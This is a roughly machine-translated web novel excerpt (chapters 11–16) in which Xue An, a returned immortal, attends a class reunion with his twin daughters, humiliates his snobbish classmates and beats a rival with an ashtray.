

    "Sister Xue, where are we going?" the driver asked cautiously.


    "Go to Beijiang!"


    Fan Mengxue looked at the fleeting scenery outside the car window, holding the phone firmly with both hands.


    Even the knuckles turned white due to excessive force.


    the next day.


    Tang Xuan''er came early.


    As soon as I walked in, I saw Xue Anzheng clumsily braiding Xue Xiang and Xue Nian.


    I have to say that men really have no talent in this matter.


    It doesn''t matter if you are an immortal or an ordinary person, it is the same.


    either twisted the braid crooked, or messed up the hair.


    But the two little girls seemed to enjoy it all.


    was giggling all the time.


    Tang Xuan''er saw this, she could only shook her head helplessly, then replaced Xue An, and tied the two girls'' hair in a few strokes.


    "Are you going to wear this?" Tang Xuan''er asked.


    "Yes? What''s the problem?" Xue An said.


    Xue An is now wearing clothes from four years ago. Although not very shabby, the styles and so on are outdated.


    Tang Xuaner wanted to speak but stopped.


    After finally cleaning up, the two led the thinking and reading out of the community.


    While waiting for the car, a brand new BMW 530 stopped on the side of the road.


    Then the car window lowered, and a well-dressed man with a powdery face smiled at Tang Xuan''er.


    "Xuan''er, I''m just about to pick you up! Hurry up, get in the car! Brother Ming has already arranged it, and will have a party at Longhuangtai Hotel!"


    Tang Xuan''er frowned.


    The co-pilot woman also poked her head out, "Tang Xuan''er, waiting for the car in such a cold, go, let my husband hold you! See, we just bought the new car! More than 400,000 yuan!"


    The talking woman has a pair of triangular eyes and said triumphantly.


    Tang Xuan''er hesitated a little, and at this time, the triangulated woman also noticed Xue An.


    "Yeah, isn''t this Xue An!"


    The man also saw Xue An at this time. After taking a closer look, a look of disdain and arrogance appeared on his face.


    "Unexpectedly, Great Talent Xue would also go to the party!"


    Tang Xuan''er whispered: "This is Meng Wei and Zhang Yan in our class."


    Xue An thought for a long time before he had some impressions.


    When he was in school, this Meng Wei was a dog in the class, and he played with whoever had money.


    As for this Zhang Yan.


    is extremely snob.


    These two people get together, it''s a perfect match.


    A faint smile appeared at the corner of Xue An''s mouth.


    At this time, Xue Xiang saw a stall selling small jewelry on the side of the road.


    "Baba, those little jewellery are so beautiful!" Xue thought his eyes were bright.


    A woman is a woman no matter how young.


    There is no resistance to these shiny things.


    Xue An smiled, "Do you like it?"


    "Hmm! I like it!" Xue Xiang and Xue Nian said in unison.


    "Then go pick it, I''ll buy it for you!"


    The two little girls cheered and started to choose small jewelry around the stall.


    Xue An didn''t take a straight look at Meng Wei and Zhang Yan.


    Zhang Yan curled her lips and said disdainfully: "What kind of garlic is all mixed up like this, so noble!"


    "Don''t say that, somehow others can afford small jewelry for a few dollars!" Meng Wei sneered.


    At this time, the two little girls chose a lot of small jewelry. Xue An paid the money, and when he took it in his hand, with a heart move, he poured some spiritual energy into it.


    These things that were originally worthless began to undergo subtle changes immediately.


    "I chose one for you too!" Xue An said lightly, and handed Tang Xuan''er a pair of earrings.


    Tang Xuan''er took the earrings, very happy.


    "Yeah, this thing is worth at least five dollars! It''s shiny, it''s not plastic! Xuan''er, don''t bring it, be careful to ruin your skin!" Zhang Yan sneered.


    Tang Xuan''er''s expression became a little awkward.


    Xue An frowned, this woman is really noisy.


    "Sorry, Xue An, our car can only carry four people. After pulling Xuan''er, you can only sit in the trunk, or you can take the bus later!" Meng Wei hehe Smiled. UU Reading


    Tang Xuan''er frowned, "You go first, we''ll take a taxi after a while!"


    What else does Meng Wei want to say.


    Xue Xiang said suddenly, "Baba, this car is not as big as the one we sat in yesterday!"


    "Yes, Baba, when Aunt Yuer sent us back yesterday, she drove a really big car!" Xue Nian also said.


    "It''s a big car, hey, is it a van?" Meng Wei sneered.


    Zhang Yan said triumphantly: "Have you seen the new car that my husband bought yesterday. Where is the BMW 5 Series? Have you ever been in it?"


    Xue An seems to be watching two clowns performing, and his expression has always been indifferent.


    At this moment, an extended Maybach approached slowly.


    drove until Xue An''s side, the driver got out of the car, and then walked to Xue An respectfully.


    "Mr. Xue, our eldest made an order. We will drive you where you want to go. If you need it, please inform me at any time!"


    This scene stunned Meng Wei and Zhang Yan, their mouths could be stuffed into a duck egg.


    The appearance of this Maybach seemed like a loud slap in the face. Zhang Yan, who had just boasted about his new car, had a golden star.


    Compared with this kind of car, the BMW that Zhang Yan has been boasting about can''t even buy a car wheel.


    Xue An was slightly surprised, but Qin Yu was very careful.


    then nodded, "That''s good! Go to Dragon Emperor Terrace!"


    "Yes!"


    Xue wanted to say to Meng Wei with a dull look at this moment: "Uncle, Aunt Yuer drove us back in this car yesterday!"


    Xue An couldn''t help but laughed, his two four-year-old daughters seemed to...

 Chapter 12： Class reunion one

    In Beijiang, you have to ask which is the best restaurant. There may be different opinions.


    But when it comes to eating, drinking, and having fun, a place with complete facilities and a high-end quality, it must be Longhuangtai, and even people from provincial cities often come here to consume.


    At this moment, luxury cars are gathered in front of the Dragon Emperor stage, and guests are like clouds.


    A Maybach drove slowly to the door.


    This extended and special version of the Maybach is full of pride and has attracted a lot of attention.


    The door boy hurriedly greeted him and opened the door respectfully.


    It was two little girls who jumped out of the car first.


    At the age of four or five, the little girl looks exactly the same, as if she had come out of a comic.


    Soft and cute.


    Many girls have their eyes bright, and they want to rush to steal one now.


    Then the one who got out of the car was a woman with an elegant temperament like an orchid in the sky. This woman wore a simple skirt with picturesque eyebrows.


    Such a picture makes many people look silly.


    Several girls not far away covered their mouths in surprise.


    "Isn''t that Tang Xuan''er from our class?"


    "Yes! That''s her! Isn''t she unmarried? Why are there children?"


    "Hmph, I pretend to be very upright all day long, but didn''t I make a mistress for the rich?" A woman with several freckles on her face sneered.


    "There are not many Beijiang who can afford such a car! Who can this person be?"


    Many people have this idea in their hearts, and at this time Xue An also got out of the car.


    His appearance made these girls even more commotion.


    "It''s Xue An!"


    "Didn''t he disappear? Why did he come back suddenly?"


    "He actually dared to come, but Hong Shao had already threatened to clean him up!"


    "Look at that shabby dress, it doesn''t look like a rich man, maybe it''s a swollen face to fill a fat man, rent a car!" The girl with freckles sneered.


    This girl is called Song Jing, who is acrimonious and extremely snobbish. She is also known as the three biggest **** in the class with Zhang Yan and Du Juan.


    "Hey, Shao Hong has gone to pick up Fan Dastar. It is estimated that there will be a good show in a while!" The girls murmured, gloating.


    "Baba, this place is so big and beautiful!" Xue Xiang said, looking around.


    "Is it big? It''s okay! Later, Baba will take you to see what is truly luxurious!"


    Xue An really didn''t feel anything.


    Although the Dragon Emperor''s Terrace claims to spend 500 million yuan on decoration, there is even a three-meter-long golden dragon made of real gold in the hall.


    Longhuangtai is also named after this.


    Such extravagance can really make ordinary people look at it.


    But for an immortal who has seen countless big scenes, this place is really... shabby.


    In the realm of the real world, an ordinary banquet would slaughter thousands of dragons.


    When the Lord of the True Immortal Realm invited Xue An to feast, he killed ten ancient dragons and served them on a plate made of phoenix bones.


    Such scenes are simply unimaginable for mortals.


    So this so-called golden dragon carved out, to Xue An, is no different from a pig.


    But his words drew the attention of those next to him.


    A man with colorful hair dyed, with a coquettish woman in his arm, couldn''t help laughing after hearing what Xue An said.


    "Where did the soil buns come from? What a big tone!"


    Xue An hadn''t spoken yet, Xue Nian suddenly gurgled.


    "What are you laughing at?" Xue Xiang put his hands on his hips and took the posture of being a sister.


    "This uncle''s hair is like a chicken coop!"


    Xue wanted to listen and took a closer look, and couldn''t help but laugh.


    "It really looks like it!"


    The words of the two little girls also made many people laugh.


    Because...it''s a bit like a chicken coop.


    The man''s face was flushed, he gave Xue An a bitter look, turned and left.


    Xue An smiled faintly. He didn''t bother to care about this kind of ant-like guy, but if he dared to provoke him just now, Xue An wouldn''t mind turning his head into a chicken coop.


    "Xuan''er, here! Here!" Song Jing shouted, her face was already full of smiles at this moment, and she couldn''t see the acrimony just now.


    Tang Xuan''er hesitated for a while, then walked over, "Song Jing, long time no see!"


    "Tsk tsk, it''s been a long time since I saw you, I didn''t expect you to have children! The two girls are so cute! Are they twins?" Song Jing smiled.


    Tang Xuan''er shook her head, "This is not my child! The two of them are Xue An''s daughters."


    Xue An has children?


    Song Jing and others looked at Xue An not far away, their eyes were full of contempt.


    was dressed so poorly, and also brought the children to the party.


    It''s definitely not mixed!


    "Let''s go! Let''s go to Tianzi No. 1 and wait! Shao Hong took the male classmates to pick up Fan Daxing. He should be back soon!" Song Jing took Tang Xuan''er away.


    "What about Xue An?"


    "He? He wants to come, just follow along, but now the boxes are all girls."


    And at this time Xue wanted to secretly tugged Xue An''s clothes.


    "What''s wrong?" Xue An asked, lowering his body.


    "Baba, I want to go to the bathroom!" Xue Xiang said blushing.


    "I think I think too!" Xue Nian also said.


    "Uh... that''s good!"


    Xue An followed along to the box.


    ���ֺ�1 is the most luxurious and expensive private room in Longhuangtai, which naturally comes with an attached bathroom. UU reading


    But as soon as he walked in, he discovered that Yingyingyanyan in the box was all girls.


    He doesn''t recognize most of them, and some even if they have some impressions, they can''t name them.


    "Isn''t this Xue An from our class?"


    "It''s him! Why didn''t he pick up Fan Mengxue?"


    "Shhh, don''t ask, Hong Shao will be back soon!"


    In these murmurs, Xue An''s face remained as usual, but said to Xue Xiang and Xue Nian: "Can I go by myself?"


    "Hmm!"


    Two little girls went into the bathroom.


    Xue An stood at the door and waited.


    Tang Xuan''er wanted to come over several times, but Song Jing stopped him for various reasons.


    At this time, the eyes of all the women in the house were on him.


    But Xue An didn''t care.


    joke.


    These people are not even vulgar fans in Xue An''s eyes, how can they care about their eyes?


    Especially Xue An''s mood is like a rock, so just standing there indifferently, he has an arrogant attitude.


    Although the clothes he wore were extremely unfit, they couldn''t hide Xue An''s sharp aura like a blade.


    Gradually.


    Many girls'' comments are quiet.


    When he was in school, Xue An was the school grass, and many girls had secretly liked him.


    Now that Xue An is dressed in general, but looks better than before, I can��t help feeling a little strange.


    Xue An was naturally aware of this, but just laughed it off.


    At the time when he was in the Qingqiu Immortal Realm, relying on one side, he abducted the Nine-Tailed Saintess, and caused the fox-monster clan to come out, seeking revenge for him.


    It��s no wonder that the nine-tailed saint is an outstanding woman in the universe, not to mention these mediocre people.

 Chapter 13： Class reunion 2

    Song Jing curled her mouth in disdain, and muttered in a low voice: "What are you pretending? Wait a while for Hong Shao to come back. See if you dare to be so arrogant!"


    Song Jing is now thinking about climbing the big tree Hong Ming. If he can get Hong Ming''s recognition and become a junior, that would be great.


    That''s why she looked down on Xue An so much.


    Because she knew that Hong Ming was hostile to Xue An.


    Especially this time Fan Mengxue''s sudden return to Beijiang is probably related to the sudden appearance of Xue An, who has been missing for four years.


    I don��t know what expressions will be on Fan Mengxue��s face when she finds out that Xue An already has a child.


    Song Jing thought about gloating.


    this moment.


    A dozen black Mercedes Benzes lined up at the Beijiang Expressway, Hong Ming wearing a customized suit, standing in the wind and waiting.


    Such scenes naturally attract everyone''s attention.


    But Hong Ming didn''t feel anything, and even the cold wind couldn''t cool his hot heart.


    at last.


    A white Mercedes-Benz commercial vehicle slowly drove off the highway.


    Hong Ming was excited, and before the car stopped, he hurried forward to greet him.


    The door opens.


    Wearing a long skirt, Fan Mengxue, who looked gentle and elegant like the girl next door, appeared before Hong Ming.


    Hong Ming felt that his breathing was a little quick, and that kind of strong possessiveness made him want to throw this weak woman to the ground now.


    "Where is he?" This was Fan Mengxue''s first sentence to Hong Ming.


    Hong Ming''s heart is filled with jealousy, why do you ask him when you meet?


    Why?


    Although he was dissatisfied, Hong Ming still smiled and said, "Everyone is waiting for you in the hotel!"


    Fan Mengxue nodded, "Well, let''s lead the way!"


    "But your driver has been driving for so long. It''s very dangerous. Why not take my car!"


    Fan Mengxue hesitated, and finally nodded in agreement.


    At this time, the other male classmates also leaned in and started to say hello.


    "Mengxue, this is Li Qiang!"


    "Mengxue, this is Han Li."


    In these greetings, Fan Mengxue nodded, and then got into the car without saying a word.


    These men looked at each other.


    "Being a star, I don''t know how many catties I am. What are you crazy!"


    "Huh, who said no! If it weren''t for Hong Shao, I wouldn''t bother to come!"


    Although these comments were very small, they also passed into the car.


    Fan Mengxue looked indifferent.


    That''s right.


    She just hates these so-called classmates.


    Even the most annoying is this Hong Ming.


    Because of the original Fan Mengxue, both of his parents died and he was fostered at his uncle''s house. Apart from being beautiful, he has no background.


    Therefore, she has become a coveted object of many people.


    But Fan Mengxue is a very self-loving girl, of course she refuses to submit.


    Then it was these so-called classmates who began to spread the rumors, saying that she had hooked up outside all day long and had even had several abortions.


    These rumors completely defeated Fan Mengxue at the time.


    Even in the class, she was completely isolated.


    Song Jing and other girls are also all kinds of cynicism.


    Just when Fan Mengxue was about to collapse, it was Xue An who stood up.


    Fan Mengxue still remembers the scene.


    Sitting alone in the corner, a group of girls ridiculed themselves.


    And at this moment, a boy in black stood silently beside him.


    That is not stalwart, even a thin back, Fan Mengxue will never forget it.


    For his own sake, Xue An was beaten several times by gangsters outside the school, but this young man seemed to be fierce. Although he was besieged, he would always fight to the end like a lone wolf.


    After several consecutive times, no one dared to provoke him.


    Xue An, with a bruised face at the time, smiled at Fan Mengxue, "No one will dare to bully you in the future!"


    At that time, Fan Mengxue threw himself into Xue An��s arms and started crying.


    Since then, Fan Mengxue has taken a poisonous oath. In this life, he will only live for Xue An.


    It was not until later that Fan Mengxue knew that these were all from this Hong Ming''s instruction.


    Fan Mengxue finally embarked on the road of stardom by chance. She had a difficult journey along the way, but she can say that she came innocently with a clear conscience.


    For nothing else, it is worthy of the black boy who was covered with scars.


    Four years ago, Xue An��s disappearance almost destroyed Fan Mengxue.


    She had written a suicide note, but in the end she did not die because she wanted to give herself time. If Xue An has not appeared after four years, then she will commit suicide again.


    God bless, Xue An is back.


    After knowing the news, Fan Mengxue cried a lot of excitement, and then came back overnight.


    And told her that Xue An came back, and it was this Hong Ming.


    Hong Ming sat in the co-pilot and kept sneaking a glance at Fan Mengxue sitting behind. After a while, he finally couldn''t help but said, "Mengxue, today seems to be your birthday!"


    Fan Mengxue was startled, and then remembered that today is indeed his birthday.


    In the past four years, Fan Mengxue has not been busy all the time, because she dared not rest. Once she rested, she would think of Xue An in her mind.


    So she has forgotten about birthdays.


    "Ok!"


    "Basically all the classmates in our class are here this time, so we will celebrate your birthday together!"


    Fan Mengxue didn''t say a word, turned his head and looked at the scenery flying by outside the car window.


    Hong Ming''s eyelids throbbed, and his heart was full of anger.


    Why is this woman always so cold to herself?


    Is it because of Xue An again?


    Ha ha!


    A sneer appeared at the corner of Hong Ming''s mouth.


    This time when Xue An comes back, Hong Ming will step on the sole of Xue An in front of Fan Mengxue, and then tell Fan Mengxue.


    A woman like her, UU reading only deserves to own it!


    soon.


    The Mercedes-Benz team came to Longhuangtai.


    The lobby manager of Longhuangtai came to open the door in person. Hong Ming got out of the car arrogantly. Fan Mengxue put on her sunglasses and mask and got out of the car.


    "Hong Shao, people are waiting for you at Tianzi One!"


    Hong Ming nodded, "Lead the way!"


    Fan Mengxue walked in excitedly.


    She is very eager to see Xue An, but now she is afraid to see him.


    Wait after opening the door of Tianzi No.1 box.


    Fan Mengxue''s eyes were caught by the smiling faces of Song Jing and others.


    "Welcome Mengxue back to Beijiang!"


    "Mengxue, everyone misses you!"


    Fan Mengxue didn''t pay attention to these sounds, and only looked in the room.


    "Mengxue!" Tang Xuaner whispered.


    At the beginning of the class, only Tang Xuaner was not afraid of others'' isolation and insisted on interacting with her.


    So when Fan Mengxue saw Tang Xuan''er, he smiled.


    "Xuaner!"


    Tang Xuan''er nodded, then turned her eyes to the corner.


    Fan Mengxue also looked there.


    Finally, she saw Xue An sitting in the corner, talking and laughing with Xue Xiang and Xue Nian.


    She was shocked all over, tears streaming down involuntarily.


    At this time, Hong Ming and others also entered the box.


    When Song Jing saw Hong Ming, her smile bloomed.


    "Hong Shao, you are back!"


    Hong Ming nodded, just about to talk.


    Fan Mengxue has walked up to Xue An.


    Xue An noticed the incoming person and raised his head.


    The eyes of both sides meet.


    Xue An was startled first, then smiled slightly, "Mengxue, long time no see!"

 Chapter 14： Class reunion three

    The atmosphere began to become more subtle.


    Fan Mengxue''s tears never stopped.


    Xue An sighed, "Are you still crying like this?"


    Actually, only Fan Mengxue knew that she only cried when facing Xue An, and during the rest, no matter how sad she was, she kept smiling.


    Because she knows that when Xue An is not there, even if she cries, no one will feel distressed.


    "Baba, who is this auntie? Why are you crying!" Xue Xiangqiao said lively.


    Only then did Fan Mengxue notice the two little girls.


    "this is����."


    Xue An smiled, "These are my two daughters!"


    Fan Mengxue''s face turned pale in an instant, but he returned to normal after a while, and then squatted down and said to Xue Xiang and Xue Nian.


    "Auntie is your Baba''s friend. It''s been a long time since I saw you, so I cried excitedly!"


    Xue Nian tilted his head and suddenly shouted in surprise: "Are you...Aunt Mengxue?"


    Fan Mengxue''s influence is at the national level, even a little girl like Xue Nian recognizes.


    Fan Mengxue smiled, "Yes!"


    "Baba, Aunt Mengxue is your friend!"


    Xue An nodded.


    "No, I remember Aunt Mengxue is dead in the TV series!" Xue thought with a puzzling expression.


    Fan Mengxue couldn''t help being amused by these two little tricks.


    But the harmonious atmosphere on their side stunned Song Jing, who had been looking forward to seeing a good show.


    what happened?


    Why doesn''t Fan Mengxue care that Xue An already has a child?


    As for Hong Ming, his eyes are about to kill.


    However, he still tried to keep a smile, then walked over, and after looking at Xue An, he smiled condescendingly: "Xue An, I heard that you have been missing for four years, why? Is this picking up trash? Are you so desolate?"


    Hong Ming''s words caused Fan Mengxue''s brows to frown, and she was about to attack.


    Xue An smiled indifferently, "Hong Ming? It''s really a surprise to see you again!"


    When Xue An first proved the Tao, one of the demons was Hong Ming.


    When he was in school, this Hong Ming relied on his family''s strength, and always humiliated Xue An in every possible way.


    Especially when Fan Mengxue was crazy about Xue An, this Hong Ming got worse and used various reasons to trouble Xue An.


    Now seeing him again, Xue An is naturally very happy.


    I am glad to get rid of this demons.


    However, Hong Ming didn''t think so. He thought Xue An was softened, so he was proud of it.


    At this time, other students also saw the clue.


    Hong Ming, this is the trouble to find Xue An!


    But on one side is the dignified Hong Family Young Master, and on the other side is Xue An, who is not famous.


    So many people immediately made a choice.


    Song Jing covered her mouth and smiled: "Hong Shao, when I first saw our grandson Xue, I thought I had mistaken someone! It was dirty and broken, but I didn''t expect it to be Xue An! Sorry! Xue! Ann, I speak so bluntly!"


    "But now our handsome Xue Dad is already a father. In order to raise a child, it is inevitable to have financial difficulties. Hong Shao, why not let Xue An go to work with you!"


    Hong Ming nodded, and said faintly: "Old classmates are in trouble, I naturally want to help. It just happens that my office lacks a handyman, Xue An, if you come over! I''ll give you a salary of 10,000 yuan."


    Xue An did not speak, but looked at Hong Ming and Song Jing with interest.


    But his silence made Hong Ming think that he was showing weakness and acknowledging counsel.


    The pleasure of crushing a rival in front of a woman made him very excited.


    At exactly this time, the food began to come up.


    In order to entertain Fan Mengxue, Hong Ming spent a lot of money, and this banquet was also extremely high-end.


    "Everyone is sitting down!" Hong Ming began to greet the others.


    Fan Mengxue glanced at Xue An with concern, Xue An nodded at her, and then sat back at the table.


    The two little girls began to feast on.


    Xue An did not move his chopsticks.


    And at this time, Song Jing deliberately said: "Xue An, you eat quickly, I don''t think you can have such a meal in general, try it soon!"


    The atmosphere began to change.


    Tang Xuan''er was so angry that she got up to refute Song Jing.


    Xue An waved his hand, then raised his eyebrows slightly.


    "If I remember correctly, are you Song Jing?"


    "haha, yes!"


    Xue An nodded, "Sure enough, it''s still the same. It seems that the dog can''t change eating **** any time."


    Many people couldn''t hold back their words, and they laughed out loud.


    Song Jing''s face was even greener.


    "you����."


    But at this time, Hong Ming came over with a wine glass.


    "Come on, Xue An, we haven''t seen each other for many years, let''s have a drink first!"


    Xue An leaned back on the chair and said faintly: "Why should I have a toast with you? What are you? Good for a toast with me?"


    As soon as these words came out, the whole box became quiet.


    Hong Ming''s face is purple.


    Just now, he thought that Xue An was weak, so he was ready to humiliate him by toasting.


    Unexpectedly, he was beaten naked on the face instead.


    He sneered a few times, "Okay! Sure enough! What do you think I am? I tell you! Our Hong family, UU reading will soon start cooperation with Longtai Group. Next, we We are about to enter the provincial capital. At that time, we will be a provincial star enterprise, and it is even possible to go public!"


    Song Jing''s face turned red when she heard these words.


    The few directors of listed companies.


    If you can cling to it, wouldn��t it be a young lady?


    So Song Jing echoed: "Hong Shao is really young and promising, Xue An, have you heard?"


    At this time, other students also started to discuss.


    "The Hong family is going to cooperate with Longtai Group? God, Longtai Group is a giant like a giant!"


    "Yes! Shao Hong is even better in Beijiang!"


    Hong Ming was a little smug, and took a special glance at Fan Mengxue, only to find that she hadn''t spoken, her eyes had been on Xue An, and she didn''t even look at herself.


    Hong Ming couldn''t help being jealous.


    At this moment, there are still people who are very awkward to persuade Xue An.


    "Xue An, don''t hesitate to compensate Shao Hong! They are all old classmates, Master Hong has a lot of them, so I don''t want to account for them!"


    "Yes, yes! Quickly make up for it, Shao Hong, if there is anything you can do to help me in the future!"


    Xue An looked on coldly, seeing what the so-called faces of these so-called classmates who were inflamed.


    Then he stretched slowly and yawned long.


    "I take back what I just said!"


    Hong Ming smiled triumphantly at the corner of his mouth.


    Many people were relieved and felt that Xue An was softened.


    Only Fan Mengxue and Tang Xuaner looked at Xue An with concern.


    Xue An said lightly: "How can I use things to describe you! Actually, you are nothing at all!"

 Chapter 15： My sister is right!

    Many people thought they had heard it wrong.


    Xue An, is this... crazy?


    Hong Ming''s face turned green, and he said sadly, "Xue An, remember not to kneel down and beg for mercy later."


    Xue An smiled faintly, "This suggestion seems to be more suitable for you!"


    At this time, Fan Mengxue interrupted the two of them, "Hong Ming, today is my birthday, you''d better not make trouble!"


    Hong Ming snorted, and walked away with a calm face.


    Song Jing was happy in her heart.


    Noisy.


    The louder the noise, the better!


    Hey, it''s best to let Shao Hong completely annoy Fan Mengxue, this bitch, so that he has the possibility of being in position.


    Song Jing had a wishful thinking in her heart.


    Fan Mengxue looked at Xue An with concern.


    Xue An smiled and shook his head, indicating that she didn''t have to worry.


    Tang Xuan''er stood up at this time, "Today is Mengxue''s birthday. It is not easy for her to come back once. Let''s toast her together!"


    Everyone stood up one after another, Xue An also picked up the wine glass and directed at Fan Mengxue.


    Fan Mengxue smiled happily, and then drank it all.


    Peng.


    The champagne was opened.


    When ���� and other waiters pushed in the twelve-tiered big cake, the atmosphere reached a climax.


    Only this time, everyone focused on Hong Ming.


    A flattering words flooded Hong Ming like a tide.


    Many people ardently compliment Hong Ming and want to find a position under his hand.


    After drinking a few glasses of wine, Hong Ming couldn''t help getting up a little, so he waved his hand.


    "Don''t worry, we classmates, I will naturally help if I should help."


    "Hong Shao is mighty!"


    "Hong Shao is really extraordinary!"


    Everyone toasted frequently.


    And Xue An seems to have been forgotten, no one even looked at him.


    At this time, Hong Ming''s hand pressed down to signal everyone to be quiet, and then took out a small box from his arms.


    After opening ����, there is a diamond ring with at least five carats inside.


    "Mengxue, happy birthday!"


    Hong Ming��s birthday present calmed the audience.


    Song Jing''s jealous eyes are about to breathe fire.


    Fan Mengxue lowered her eyes and shook her head gently, "Hong Ming, I can''t ask for this gift!"


    "Why?"


    "Too expensive!"


    Hong Ming laughed, "It''s more than one million, it''s not a problem at all!"


    But just then, a milky voice sounded.


    "Baba, this ring is not as big as the one you bought me by the roadside!"


    Everyone looked at the speaker.


    Xue wanted to put down the chicken legs in his hand, and said seriously: "Really, the ring I bought on the roadside is so big!"


    Many people couldn''t help being amused by Xue Xiang''s naive attitude.


    Song Jing said with a smile: "Little girl, you can buy a ring for up to five yuan, Shao Hong spent more than one million!"


    "Is it a lot more than one million?" Xue Xiang asked, blinking his eyes.


    "of course!"


    Xue wanted to shook his head, "But I think what Baba buys is definitely the best in the world!"


    Xue Nian swallowed the meat in his mouth and nodded hurriedly, "My sister is right!"


    Xue An laughed dumbly, and touched the little heads of Xue Xiang and Xue Nian, "Yes, Baba for you, it must be the best!"


    "Baba, I want to give Aunt Mengxue a present!" Xue Xiang said.


    "Go! The thing is given to you, it is yours, you can give it to anyone you want!"


    Xue wanted to nod, jumped off the chair, then walked to Fan Mengxue, and solemnly took out the small ring Xue An bought for her.


    "Auntie Mengxue, happy birthday!"


    Fan Mengxue looked at the little girl who was carved with jade and couldn''t help but smiled. He took the ring and said, "Thank you! What is your name!"


    "My name is Xue Xiang, and my sister is Xue Nian!"


    "Xue Xiang, Xue Nian..." Fan Mengxue murmured a few words, a bitterness flashed across her heart.


    That girl, she must like him too!


    At this time, Song Jing smiled sarcastically: "Some people really save money. They spend five yuan on the road to buy a ring and give it to others as a gift?"


    Fan Mengxue frowned, Song Jing is really annoying.


    can be suddenly.


    Fan Mengxue let out a soft voice, and looked at the ring carefully.


    Then Fan Mengxue was shocked.


    Since becoming famous, Fan Mengxue has often endorsed major jewellery and luxury goods, so he has a vision.


    Fan Mengxue can be sure that this ring is by no means an ordinary stall.


    On the contrary, the fineness and quality of this ring are unique treasures.


    This thing can never be bought at a street stall!


    Hong Ming couldn''t hold on his face at this time. From the beginning, he was frustrated one after another, and he was on the verge of breaking out.


    Now Fan Mengxue doesn''t even accept gifts from him, making Hong Ming lose the last trace of patience.


    He snapped the ring from Fan Mengxue''s hand and threw it on the ground viciously.


    Fan Mengxue was furious, "Hong Ming, why did you throw the gift Xue An gave me on the ground?"


    Hong Ming sneered: "Mengxue, this broken thing is worthless. What do you want it for? Xue An, don''t buy a gift if you can''t afford it. Who can you fool with plastic?"


    Xue An sighed, stood up slowly, picked up the broken ring from the ground, and then held out a finger towards Hong Ming.


    "Ten million!"


    "What?" Hong Ming did not understand.


    "I mean, you smashed the ring I gave out, and you have to lose money. For the sake of old classmates, I want you to 10 million!" Xue An said lightly.


    Hong Ming looked at Xue An like a fool, "Are you crazy? This is one thousand yuan, enough to buy a hundred rings like yours!"


    Song Jing also sneered: "This is to blame!"


    "So, do you plan to lose money?"


    "Am I going to pay you!" Hong Ming couldn''t help being rough.


    But in the next second, he paid the price for this sentence.


    Xue An suddenly grabbed an ashtray on the table, UU reading grabbed Hong Ming''s hair, bang bang, bang four or five times.


    This scene stunned everyone.


    Blood dripped from Hong Ming''s head in an instant.


    Song Jing screamed, but the scream stopped abruptly in the middle, because Xue An grabbed her neck and said faintly: "If you don''t want to die, be quiet, understand?"


    Song Jing nodded in horror because she saw Xue An''s eyes.


    That is a kind of light but high eyes.


    Song Jing has a hunch, if she is not obedient, then Xue An will break her neck without hesitation.


    Hong Ming, who had been smashed at this time, recovered, and his anger made his face hideous.


    "Xue An, you are dead, I must kill you!"


    Xue An nodded, "It seems not convinced yet!"


    Then Xue An looked calm and raised the ashtray, banging banging, smashing it again.


    Snapped.


    Until the ashtray finally couldn''t bear it, it broke apart.


    Xue An just let go of his hand. Hong Ming couldn''t stand up anymore, he thumped and knelt on the ground, blood flowing straight down his forehead.


    Xue An said lightly: "I think, now we can calmly talk about compensation."


    There are shocked eyes all over the room.


    Everyone did not expect that Xue An, who was gentle and elegant, would suddenly be so violent when he was in school.


    Only Xue An knows that he can turn Hong Ming, Song Jing and others into ashes without any effort, but that has no effect on the inner demons.


    The only effective thing is to make these people who have bullied themselves pay thousands of times.


    At this moment, Hong Ming finally saw a trace of fear in Xue An''s eyes.


    He never dreamed that Xue Anhui suddenly beat himself up.

 Chapter 16： Then add 10 million more!

    In his impression, Xue An is a very kind, even cowardly person.


    When he was in school, he provoked him more than once, and Xue An did not fight back.


    Unexpectedly, this time it suddenly violent.


    Xue An turned his head at this time and said to Fan Mengxue and Tang Xuan''er: "You are waiting for me outside with your thoughts and thoughts!"


    Fan Mengxue always obeyed Xue An''s words, but Tang Xuan''er hesitated a little and got up and left.


    Actually by this time, the two little girls Xue Xiang and Xue Nian didn''t know what happened.


    From the very beginning, Xue An blocked the two little girls with magic techniques. After all, the scene just now... was a bit too bloody.


    After the two daughters left, Xue An turned to Hong Ming.


    Hong Ming trembled all over, because Xue An''s eyes were terrifying.


    It was a look like an emperor looking down on his people.


    Hong Ming suddenly had an urge to lie on the ground, he trembled: "Okay! Ten million! I''ll give it!"


    The hero didn''t suffer the immediate loss, Hong Ming decided to admit his counsel first and wait for revenge before returning.


    Xue An shook his head, and then said calmly: "It was 10 million just now, but now it has become 20 million!"


    "After all... you made me spend so much effort and even smashed an ashtray. Shouldn''t you give me some compensation?"


    Hong Ming''s eyes widened.


    I heard for the first time that if you were beaten, you still have to compensate the beater.


    As for the others, they have been completely confused.


    After a while, a few boys boldly said: "Xue An, almost forget it, they are all classmates, why bother..."


    "Yeah, yeah! Shao Hong has been beaten like this by you. You have to forgive others and forgive others, so forget it!"


    Xue An''s eyes swept across these people''s faces.


    This time, no one dared to look directly at him and bowed their heads.


    "Okay! Since everyone has pleaded with you..."


    Everyone''s hearts just let go, thinking that Xue An is going to let them go.


    Xue An said lightly: "Then add 10 million more!"


    Everyone was stunned.


    And Hong Ming''s face is so ugly.


    thirty million.


    That''s not a small number.


    Although my family is wealthy, the money is not brought by the wind. Especially I have not yet taken over the family business, and I usually spend money on the pocket money given by my family.


    Although there are quite a few, it is still far from thirty million.


    But at this moment, there was a loud noise outside, which could be faintly heard, there were women''s screams and anger.


    Xue An��s face sank instantly, kicked the box door open with one kick, and then strode out.


    Everyone in the room also followed.


    At this moment, in the corridor, a man with his hair dyed colorfully like a chicken coop, led a few younger brothers, and surrounded Fan Mengxue and Tang Xuan''er.


    The man was smiling at the moment, "Little girl, when I was at the door just now, I noticed you. You are so beautiful. Why did you follow a man so trash? Why don''t I follow my brother? Satisfy you!"


    Tang Xuan''er complexion flushed red, and she was speechless for a while.


    Fan Mengxue couldn''t help but scolded: "Bah, shamelessly, let us go! Otherwise, you will be at your own risk!"


    "Yeah, this one looks better! At your own risk? In Beijiang, no one dares to talk to me like this!" The man laughed.


    Xue An saw this scene, a murderous look flashed in his eyes.


    And as soon as Hong Ming saw this man, it was as if he had seen a savior, he immediately rushed over and cried out crying.


    "Brother Kun, help, Brother Kun, help!"


    This man called Brother Kun noticed Hong Ming, "Hey, isn''t this Hong Shao? Why is his face covered with blood?"


    At this time, Song Jing just told her owner''s dog and told the story immediately.


